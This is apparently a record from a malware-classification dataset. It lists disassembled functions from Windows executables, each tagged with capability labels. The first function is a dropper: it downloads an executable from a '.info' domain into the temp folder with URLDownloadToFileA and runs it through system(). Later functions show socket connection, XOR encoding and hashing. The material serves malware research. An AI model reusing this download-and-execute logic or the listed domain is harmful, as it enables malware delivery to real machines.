joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40149b
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.4034558225
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.da_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.snmpapi.dll_SnmpSvcGetUptime
lea rax, [0x004020ad]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020ca]
mov r11, rax
lea rax, str.df_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilOctetsNCmp
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x140011530
Capabilities:
Connect socket
Encode data using xor
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400e5558]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov edx, 1
mov rbx, rcx
mov esi, 2
mov ecx, esi
lea r8d, [rdx + 5]
call sub.WS2_32.dll_socket
movabs rdi, 0x82121723712743
xor rax, rdi
mov qword [rbx + 0x1a0], rax
xor rax, rdi
cmp rax, 0xffffffffffffffff
jne 0x140011593
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x30]
xor al, al
jmp 0x14001163c
movzx ecx, word [rbx + 0x144c]
mov word [rsp + 0x28], si
call sub.WS2_32.dll_htons
mov word [rsp + 0x2a], ax
lea rdx, [rbx + 0x11a8]
mov eax, dword [rbx + 0x1444]
mov dword [rsp + 0x2c], eax
xor al, al
nop dword [rax]
movzx ecx, al
lea rdx, [rdx + 1]
xor cl, 0x12
inc al
mov byte [rdx - 1], cl
cmp al, 0xff
jb 0x1400115c0
mov rcx, qword [rbx + 0x1a0]
lea rdx, [rsp + 0x28]
xor rcx, rdi
mov r8d, reloc.WS2_32.dll_recv
call sub.WS2_32.dll_connect
test eax, eax
jne 0x140011583
mov rcx, qword [rbx + 0x1a0]
lea r8, [rsp + 0x20]
xor rcx, rdi
mov dword [rsp + 0x20], 1
mov edx, 0x8004667e
call sub.WS2_32.dll_ioctlsocket
mov rcx, qword [rbx + 0x1a0]
lea r8, [rsp + 0x20]
xor rcx, rdi
mov dword [rsp + 0x20], 1
mov edx, 1
call sub.WS2_32.dll_ioctlsocket
mov al, 1
mov byte [rbx + 0x1440], 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140076350
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1400116d0
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x28
lea rdx, [rcx + 8]
mov ecx, 0x202
call sub.WS2_32.dll_WSAStartup
mov al, 1
add rsp, 0x28
ret
Function at 0x140012fc0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
call fcn.1400135e0
test rax, rax
jne 0x140012fe5
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov r8, rdi
mov rdx, rax
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1400132a0
Function at 0x14001dc60
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400e5558]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1400eafd8]
mov edi, edx
mov esi, ecx
cmp byte [rbx + 0x4a45], 0
jne 0x14001dcc8
cmp byte [rbx + 0x4a46], 0
jne 0x14001dcc8
movsx r9d, word [rbx + 0x5b6a]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.140022630
test sil, 1
je 0x14001de00
jmp 0x14001dd61
movss xmm1, dword [rbx + 0x388c]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x1400b6d68]
xor eax, eax
mov edx, reloc.WS2_32.dll_recv
mulss xmm1, dword [0x1400b6d60]
addss xmm0, dword [rbx + 0xdf8]
addss xmm1, dword [rbx + 0xdfc]
or dword [rbx + 0x4798], 1
mov qword [rbx + 0x47b0], rax
movss dword [rbx + 0x47a8], xmm0
mov dword [rbx + 0x479c], 1
movss dword [rbx + 0x47ac], xmm1
movss xmm0, dword [rbx + 0x38e8]
mov rax, qword [0x1400eafd8]
mulss xmm0, dword [0x1400b6d20]
or dword [rax + 0x4798], 0x40
movss dword [rax + 0x47f8], xmm0
movsx r9d, word [rbx + 0x5b6a]
call fcn.140022630
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001ddb1
lea r11, [0x1400b5b80]
cmp r9b, 0x23
jne 0x14001dd94
cmp byte [r8], r9b
jne 0x14001dd94
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001dd81
not ecx
call fcn.140021190
test rax, rax
je 0x14001de00
cmp byte [rax + 0xb6], 0
je 0x14001de00
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, reloc.WS2_32.dll_recv
inc word [rbx + 0x5b6a]
movsx r9d, word [rbx + 0x5b6a]
call fcn.140022630
or edi, 0x20c0347
lea rcx, [rsp + 0x20]
mov r8d, edi
xor edx, edx
call fcn.140019410
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140076350
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140021d10
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [rcx + 0xf8]
mov r9, r8
movsxd r8, dword [rcx + 0xf0]
mov r10, rdx
xor ecx, ecx
mov rdx, r9
sub rdx, r10
test r9, r9
mov r8d, dword [rax + r8*4 - 4]
cmove rdx, rcx
mov rcx, r10
jmp fcn.1400228e0
Function at 0x140021d40
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xf8]
lea r9, [0x1400b5b80]
movss xmm2, dword [rcx + 0x110]
movss xmm3, dword [rcx + 0x114]
movsxd rcx, dword [rcx + 0xf0]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret

Function at 0x1400228e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14002293d
lea rbx, [0x1400b5b80]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140022924
cmp r10, 2
jb 0x140022924
cmp byte [r9], r8b
jne 0x140022924
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140022900
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14002297f
lea rbx, [0x1400b5b80]
cmp r8b, 0x23
jne 0x140022963
cmp byte [r9], r8b
jne 0x140022963
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140022950
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x140022bb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
push r12
push r13
sub rsp, 0x10
mov qword [rsp + 0x30], rbx
lea r13, sym.MZ_:__z__y___Go___WU_n_XP_Xu____Xo_Y_tRf
mov qword [rsp + 0x38], rbp
mov rdi, rdx
mov qword [rsp + 0x40], rsi
mov rax, rcx
mov qword [rsp + 8], r14
xor r12d, r12d
mov qword [rsp], r15
test rdi, rdi
je 0x140022bf0
cmp rax, rdi
jae 0x140022d68
movzx r8d, byte [rax]
test r8b, r8b
je 0x140022d68
xor ebx, ebx
mov ecx, r8d
shr rcx, 3
mov rdx, rdi
movsx r9, byte [rcx + r13 + 0xb6668]
test r9d, r9d
sete bl
add ebx, r9d
test rdi, rdi
jne 0x140022c26
movsxd rdx, ebx
add rdx, rax
xor esi, esi
lea rcx, [rax + 1]
cmp rax, rdx
cmovb esi, r8d
cmp rcx, rdx
jae 0x140022c3e
movzx r15d, byte [rcx]
jmp 0x140022c41
xor r15b, r15b
lea rcx, [rax + 2]
cmp rcx, rdx
jae 0x140022c50
movzx r14d, byte [rcx]
jmp 0x140022c53
xor r14b, r14b
lea rcx, [rax + 3]
cmp rcx, rdx
jae 0x140022c61
movzx ebp, byte [rcx]
jmp 0x140022c64
xor bpl, bpl
lea r11, [r9*4]
movzx ecx, sil
mov r9d, dword [r11 + r13 + 0xb6688]
and r9d, ecx
movzx r8d, r15b
shl r9d, 6
mov ecx, r8d
and ecx, 0x3f
movzx edx, r14b
or r9d, ecx
movzx r10d, bpl
shl r9d, 6
and r8d, 0xc0
mov ecx, edx
and edx, 0xc0
and ecx, 0x3f
or r9d, ecx
mov ecx, r10d
shr r10d, 2
and ecx, 0x3f
or r10d, edx
shl r9d, 6
shr r10d, 2
or r9d, ecx
mov ecx, dword [r11 + r13 + 0xb66b8]
or r10d, r8d
shr r9d, cl
shr r10d, 2
mov edx, r9d
cmp r9d, dword [r11 + r13 + 0xb66a0]
sbb ecx, ecx
and edx, 0xfffff800
and ecx, 0x40
xor r8d, r8d
or r10d, ecx
mov ecx, pe_nt_image_headers64
cmp edx, 0xd800
cmove r8d, ecx
xor edx, edx
or r10d, r8d
mov ecx, 0x100
cmp r9d, 0xffff
cmova edx, ecx
mov ecx, dword [r11 + r13 + 0xb66d0]
or r10d, edx
xor r10d, 0x2a
sar r10d, cl
test r10d, r10d
je 0x140022d5a
xor edx, edx
test bpl, bpl
setne dl
xor ecx, ecx
test r14b, r14b
setne cl
add edx, ecx
xor ecx, ecx
test r15b, r15b
setne cl
add edx, ecx
xor ecx, ecx
test sil, sil
setne cl
add edx, ecx
cmp ebx, edx
cmovl edx, ebx
mov ebx, edx
movsxd rcx, ebx
add rax, rcx
inc r12d
jmp 0x140022be2
mov r15, qword [rsp]
mov eax, r12d
mov r14, qword [rsp + 8]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x10
pop r13
pop r12
pop rdi
ret
Function at 0x140022de0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x30
movsxd rax, edx
mov rdi, rcx
dec rax
mov qword [r11 + 0x20], rsi
mov rsi, r9
xor r9d, r9d
lea rax, [rcx + rax*2]
mov qword [rsp], rax
cmp rcx, rax
jae 0x140022ff7
mov qword [r11 + 0x18], rbp
lea rbp, sym.MZ_:__z__y___Go___WU_n_XP_Xu____Xo_Y_tRf
mov qword [r11 + 0x10], rbx
mov qword [r11 - 0x10], r12
mov qword [r11 - 0x18], r13
mov qword [r11 - 0x20], r14
mov qword [r11 - 0x28], r15
nop
test rsi, rsi
je 0x140022e3e
cmp r8, rsi
jae 0x140022fd4
movzx edx, byte [r8]
test dl, dl
je 0x140022fd4
xor ebx, ebx
mov eax, edx
shr rax, 3
mov rcx, rsi
movsx r9, byte [rax + rbp + 0xb6668]
test r9d, r9d
sete bl
add ebx, r9d
test rsi, rsi
jne 0x140022e72
movsxd rcx, ebx
add rcx, r8
xor r14d, r14d
lea rax, [r8 + 1]
cmp r8, rcx
cmovb r14d, edx
cmp rax, rcx
jae 0x140022e8b
movzx r13d, byte [rax]
jmp 0x140022e8e
xor r13b, r13b
lea rax, [r8 + 2]
cmp rax, rcx
jae 0x140022e9d
movzx r12d, byte [rax]
jmp 0x140022ea0
xor r12b, r12b
lea rax, [r8 + 3]
cmp rax, rcx
jae 0x140022eaf
movzx r15d, byte [rax]
jmp 0x140022eb2
xor r15b, r15b
lea r11, [r9*4]
movzx eax, r14b
mov ebp, dword [r11 + rbp + 0xb6688]
and ebp, eax
movzx r9d, r13b
shl ebp, 6
mov eax, r9d
and eax, 0x3f
movzx edx, r12b
or ebp, eax
movzx r10d, r15b
shl ebp, 6
and r9d, 0xc0
mov eax, edx
and edx, 0xc0
and eax, 0x3f
or ebp, eax
mov eax, r10d
and eax, 0x3f
shr r10d, 2
or r10d, edx
shl ebp, 6
or ebp, eax
shr r10d, 2
or r10d, r9d
lea rax, sym.MZ_:__z__y___Go___WU_n_XP_Xu____Xo_Y_tRf
mov ecx, dword [r11 + rax + 0xb66b8]
shr r10d, 2
shr ebp, cl
mov ecx, 0x100
cmp ebp, dword [r11 + rax + 0xb66a0]
sbb eax, eax
xor r9d, r9d
and eax, 0x40
mov edx, r9d
or r10d, eax
mov eax, ebp
and eax, 0xfffff800
cmp eax, 0xd800
mov eax, pe_nt_image_headers64
cmove edx, eax
mov eax, r9d
or r10d, edx
cmp ebp, 0xffff
cmova eax, ecx
or r10d, eax
lea rax, sym.MZ_:__z__y___Go___WU_n_XP_Xu____Xo_Y_tRf
mov ecx, dword [r11 + rax + 0xb66d0]
xor r10d, 0x2a
sar r10d, cl
test r10d, r10d
je 0x140022fb6
test r15b, r15b
mov eax, r9d
mov ecx, r9d
mov ebp, 0xfffd
setne cl
test r12b, r12b
setne al
add ecx, eax
mov eax, r9d
test r13b, r13b
setne al
add ecx, eax
mov eax, r9d
test r14b, r14b
setne al
add ecx, eax
cmp ebx, ecx
cmovl ecx, ebx
mov ebx, ecx
mov word [rdi], bp
add rdi, 2
movsxd rax, ebx
lea rbp, sym.MZ_:__z__y___Go___WU_n_XP_Xu____Xo_Y_tRf
add r8, rax
cmp rdi, qword [rsp]
jb 0x140022e30
mov rcx, qword [rsp + 0x40]
mov r15, qword [rsp + 0x10]
mov r14, qword [rsp + 0x18]
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov word [rdi], r9w
test rax, rax
je 0x14002300d
mov qword [rax], r8
sub rdi, rcx
sar rdi, 1
mov eax, edi
add rsp, 0x30
pop rdi
ret
Function at 0x14004c540
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400eafd8]
mov rcx, qword [rax + 0x4b00]
mov r10, qword [rax + 0x3ec0]
movsxd rax, dword [rcx + 0x74]
movups xmm0, xmmword [rcx + 0x168]
movss xmm4, dword [rcx + 0x168]
movss xmm3, dword [rcx + 0x16c]
movss xmm2, dword [rcx + 0x170]
movss xmm1, dword [rcx + 0x174]
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
imul r9, rax, 0x70
mov rax, qword [r10 + 0x298]
add r9, qword [rcx + 0x18]
movups xmmword [r10 + 0x238], xmm0
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r10 + 0x298]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [r9 + 0x5c]
mov rdx, qword [r10 + 0x298]
mov rcx, qword [rcx + 0x198]
add rsp, 0x38
jmp fcn.14003b9a0

Function at 0x14004c610
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400eafd8]
mov rcx, qword [rax + 0x4b00]
mov r9, qword [rax + 0x3ec0]
movups xmm0, xmmword [r9 + 0x238]
movups xmmword [rcx + 0x168], xmm0
mov rax, qword [r9 + 0x298]
movups xmm0, xmmword [rcx + 0x148]
movss xmm4, dword [rcx + 0x148]
movss xmm3, dword [rcx + 0x14c]
movss xmm2, dword [rcx + 0x150]
movss xmm1, dword [rcx + 0x154]
movups xmmword [r9 + 0x238], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x298]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [rcx + 0x21e]
mov rcx, qword [rcx + 0x198]
mov rdx, qword [r9 + 0x298]
add rsp, 0x38
jmp fcn.14003b9a0
Function at 0x14004e700
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x1400e5558]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov rdi, rcx
mov qword [rsp], rcx
xor r8b, r8b
lea r9, [rsp + 0x30]
mov r10d, reloc.WS2_32.dll_recv
nop word [rax + rax]
movzx edx, r8b
lea r9, [r9 + 4]
movzx eax, r8b
add r8b, 4
movzx ecx, byte [rax + rdi + 1]
movzx eax, byte [rdx + rdi]
shl eax, 8
or ecx, eax
movzx eax, byte [rdx + rdi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + rdi + 3]
shl ecx, 8
or ecx, eax
mov dword [r9 - 4], ecx
sub r10, 1
jne 0x14004e750
mov esi, dword [rsp + 0x30]
lea rbx, [rsp + 0x30]
mov r11b, reloc.WS2_32.dll_recv
nop dword [rax + rax]
mov r10d, dword [rbx + 4]
lea rbx, [rbx + 4]
movzx eax, r11b
mov r8d, r10d
rol r8d, 0xe
inc r11b
mov edx, dword [rsp + rax*4 + 0x28]
mov ecx, edx
rol ecx, 0xf
mov eax, r10d
ror eax, 7
xor r8d, eax
mov eax, r10d
shr eax, 3
xor r8d, eax
mov eax, edx
rol eax, 0xd
xor ecx, eax
shr edx, 0xa
xor ecx, edx
add r8d, ecx
add r8d, dword [rbx + 0x20]
add r8d, esi
mov esi, r10d
mov dword [rbx + 0x3c], r8d
cmp r11b, 0x40
jb 0x14004e7a0
movups xmm0, xmmword [rdi + 0x50]
lea rax, [rdi + 0x50]
xor esi, esi
movups xmm1, xmmword [rax + 0x10]
mov qword [rsp + 8], rax
movups xmmword [rsp + 0x10], xmm0
mov r12d, dword [rsp + 0x18]
lea edi, [rsi + 0x40]
mov r13d, dword [rsp + 0x14]
mov r11d, dword [rsp + 0x10]
movups xmmword [rsp + 0x20], xmm1
mov r14d, dword [rsp + 0x28]
mov r15d, dword [rsp + 0x24]
mov ebx, dword [rsp + 0x20]
mov eax, dword [rsp + 0x2c]
nop word [rax + rax]
mov ecx, ebx
lea rsi, [rsi + 4]
rol ecx, 7
mov r10d, ebx
ror r10d, 0xb
mov edx, ebx
xor r10d, ecx
not edx
and edx, r14d
mov ecx, ebx
ror ecx, 6
mov r8d, r12d
xor r10d, ecx
mov r9d, r13d
mov ecx, r15d
and r9d, r8d
and ecx, ebx
xor edx, ecx
lea rcx, [0x1400bb150]
add r10d, edx
mov edx, r11d
add r10d, dword [rsi + rcx - 4]
mov ecx, r11d
add r10d, dword [rsp + rsi + 0x2c]
rol ecx, 0xa
add r10d, eax
ror edx, 0xd
mov eax, r14d
xor edx, ecx
mov r14d, r15d
mov ecx, r11d
mov r15d, ebx
mov ebx, dword [rsp + 0x1c]
ror ecx, 2
add ebx, r10d
xor edx, ecx
mov dword [rsp + 0x1c], r12d
mov r12d, r13d
mov r13d, r11d
mov ecx, r12d
or ecx, r8d
and r11d, ecx
lea ecx, [r10 + rdx]
or r11d, r9d
add r11d, ecx
sub rdi, 1
jne 0x14004e840
lea r8, [rsp + 0x10]
mov dword [rsp + 0x2c], eax
sub r8, qword [rsp]
lea edx, [rdi + 8]
mov rax, qword [rsp + 8]
mov dword [rsp + 0x10], r11d
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x24], r15d
mov dword [rsp + 0x18], r12d
mov dword [rsp + 0x14], r13d
nop dword [rax]
mov ecx, dword [r8 + rax - 0x50]
add dword [rax], ecx
lea rax, [rax + 4]
sub rdx, 1
jne 0x14004e910
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140076350
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14006eba0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x1400e5558]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, r8
mov rdi, rdx
mov ecx, dword [0x1400ec310]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x1400ec240], ecx
jg 0x14006ec82
mov eax, ebx
cmp rbx, rax
jne 0x14006ec44
xor ecx, ecx
mov eax, ecx
test rbx, rbx
setne al
test ebx, ebx
setne cl
cmp eax, ecx
jne 0x14006ec44
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x1400ec238]
call fcn.14007c15e
test eax, eax
js 0x14006ecc5
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140076350
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov ecx, 0x5b6
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.GenerateBlock_size
lea rcx, [rsp + 0x20]
call fcn.140006060
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14006e7a0
lea rdx, [0x1400e2d30]
lea rcx, [rsp + 0x40]
call fcn.14007c270
nop
lea rcx, [0x1400ec240]
call fcn.1400768a4
cmp dword [0x1400ec240], 0xffffffff
jne 0x14006ebec
lea rcx, [0x1400ec238]
call fcn.14006e690
lea rcx, [0x1400b1ca0]
call fcn.140076704
nop
lea rcx, [0x1400ec240]
call fcn.140076844
jmp 0x14006ebec
mov ecx, eax
call fcn.14006ed10
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.BCryptGenRandom
lea rcx, [rsp + 0x20]
call fcn.140006060
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14006e7a0
lea rdx, [0x1400e2d30]
lea rcx, [rsp + 0x40]
call fcn.14007c270
int3

Function at 0x14006f170
Capabilities:
Encode data using xor

Disassembly:
mov r9, r8
xor r11d, r11d
mov r10, rdx
mov r8d, r11d
cmp r9, 8
jb 0x14006f1a7
mov rdx, r9
shr rdx, 3
imul rax, rdx, 0xfffffffffffffff8
add r9, rax
mov rax, qword [rcx]
add rcx, 8
xor rax, qword [r10]
add r10, 8
or r8, rax
sub rdx, 1
jne 0x14006f190
mov rdx, r8
shr rdx, 0x20
or edx, r8d
mov r8d, edx
mov eax, edx
shr r8d, 8
or r8d, edx
shr eax, 0x10
and r8d, 0xff00
or r8d, eax
movzx eax, dl
shr r8d, 8
or r8d, eax
test r9, r9
je 0x14006f2a8
sub rcx, r10
cmp r9, 8
jb 0x14006f280
mov rax, r9
lea rdx, [r10 + 4]
and rax, 0xfffffffffffffff8
xorps xmm4, xmm4
xorps xmm3, xmm3
nop dword [rax + rax]
